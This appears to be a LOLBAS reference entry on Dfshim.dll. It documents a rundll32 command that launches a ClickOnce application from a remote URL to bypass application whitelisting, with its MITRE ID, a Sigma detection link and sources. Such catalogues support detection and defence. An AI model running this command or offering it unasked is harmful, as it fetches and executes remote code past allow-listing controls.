Dfshim.dll

Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)

Use Use binary to bypass Application whitelisting

rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}

Context

user

Native

AWL Bypass

MITRE

T1127.002

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Refs

github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf

stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe

lolbas-project.github.io/lolbas/Libraries/Dfshim/